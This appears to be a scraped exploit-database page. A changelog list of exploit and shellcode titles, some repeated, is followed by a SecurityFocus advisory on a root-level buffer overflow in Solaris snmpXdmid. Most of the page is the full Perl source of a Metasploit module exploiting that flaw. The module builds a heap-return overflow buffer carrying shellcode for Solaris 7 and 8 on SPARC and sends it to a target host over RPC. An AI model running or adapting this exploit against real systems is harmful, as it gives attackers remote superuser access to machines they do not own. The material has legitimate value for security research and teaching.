
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
121 lines
No EOL
3.6 KiB
Perl
121 lines
No EOL
3.6 KiB
Perl
source: https://www.securityfocus.com/bid/2417/info
|
|
|
|
Versions 2.6, 7, and 8 of Sun Microsystem's Solaris operating environment ship with service called 'snmpXdmid'. This daemon is used to map SNMP management requests to DMI requests and vice versa.
|
|
|
|
SnmpXdmid contains a remotely exploitable buffer overflow vulnerability. The overflow occurs when snmpXdmid attempts to translate a 'malicious' DMI request into an SNMP trap.
|
|
|
|
SnmpXdmid runs with root privileges and any attacker to successfully exploit this vulnerability will gain superuser access immediately.
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be redistributed
|
|
# according to the licenses defined in the Authors field below. In the
|
|
# case of an unknown or missing license, this file defaults to the same
|
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
|
# version of the Framework can always be obtained from metasploit.com.
|
|
##
|
|
|
|
package Msf::Exploit::solaris_snmpxdmid;
|
|
use base "Msf::Exploit";
|
|
use strict;
|
|
use Pex::Text;
|
|
use Pex::SunRPC;
|
|
use Pex::XDR;
|
|
|
|
my $advanced = { };
|
|
my $info =
|
|
{
|
|
'Name' => 'Solaris snmpXdmid AddComponent Overflow',
|
|
'Version' => '$Revision: 1.6 $',
|
|
'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
|
|
'Arch' => [ 'sparc' ],
|
|
'OS' => [ 'solaris' ],
|
|
'Priv' => 1,
|
|
'UserOpts' => {
|
|
'RHOST' => [1, 'ADDR', 'The target address'],
|
|
'RPORT' => [1, 'PORT', 'The target RPC port', 111],
|
|
},
|
|
'Payload' => {
|
|
'Space' => 64000,
|
|
'MinNops' => 63000,
|
|
},
|
|
'Description' => Pex::Text::Freeform(qq{
|
|
Exploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and
|
|
return to the heap avoiding NX stacks.
|
|
}),
|
|
'Refs' => [
|
|
['BID', 2417],
|
|
['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],
|
|
],
|
|
'Targets' => [
|
|
[ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],
|
|
[ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],
|
|
],
|
|
'Keys' => ['snmpxdmid'],
|
|
};
|
|
|
|
sub new {
|
|
my $class = shift;
|
|
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
|
return($self);
|
|
}
|
|
|
|
sub Exploit {
|
|
my $self = shift;
|
|
|
|
my $target_idx = $self->GetVar('TARGET');
|
|
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
|
|
|
|
my $target = $self->Targets->[$target_idx];
|
|
|
|
my %data;
|
|
|
|
my $host = $self->GetVar('RHOST');
|
|
my $port = $self->GetVar('RPORT');
|
|
|
|
if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100249, 1, "tcp", "tcp") == -1)
|
|
{
|
|
$self->PrintLine("[*] RPC request failed (snmpXdmid).");
|
|
return;
|
|
}
|
|
|
|
$self->PrintLine("[*] Using port $data{'rport'}");
|
|
Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
|
|
$self->PrintLine("[*] Generating buffer...");
|
|
|
|
my $array1 =
|
|
(pack("N", ($target->[2])) x (1248/4)).
|
|
(pack("N", ($target->[1])) x (352/4)).
|
|
(pack("N", 0));
|
|
|
|
my $array2 =
|
|
(pack("N", 0) x (64000/4)).
|
|
($shellcode).
|
|
(pack("N", 0));
|
|
|
|
my @array1_tbl = map { unpack("C", $_) } split(//, $array1);
|
|
my @array2_tbl = map { unpack("C", $_) } split(//, $array2);
|
|
|
|
my $buf =
|
|
Pex::XDR::Encode_int(0).
|
|
Pex::XDR::Encode_int(0).
|
|
Pex::XDR::Encode_bool(1).
|
|
Pex::XDR::Encode_int(0).
|
|
Pex::XDR::Encode_bool(1).
|
|
Pex::XDR::Encode_varray([@array1_tbl], \&Pex::XDR::Encode_lchar).
|
|
Pex::XDR::Encode_bool(1).
|
|
Pex::XDR::Encode_varray([@array2_tbl], \&Pex::XDR::Encode_lchar).
|
|
Pex::XDR::Encode_int(0).
|
|
Pex::XDR::Encode_int(0);
|
|
|
|
$self->PrintLine("[*] Sending payload...");
|
|
|
|
if(Pex::SunRPC::Clnt_call(\%data, 0x101, $buf) == -1)
|
|
{
|
|
$self->PrintLine("[*] snmpXdmid addcomponent request failed.");
|
|
return;
|
|
}
|
|
|
|
$self->PrintLine("[*] Sent!");
|
|
|
|
return;
|
|
} |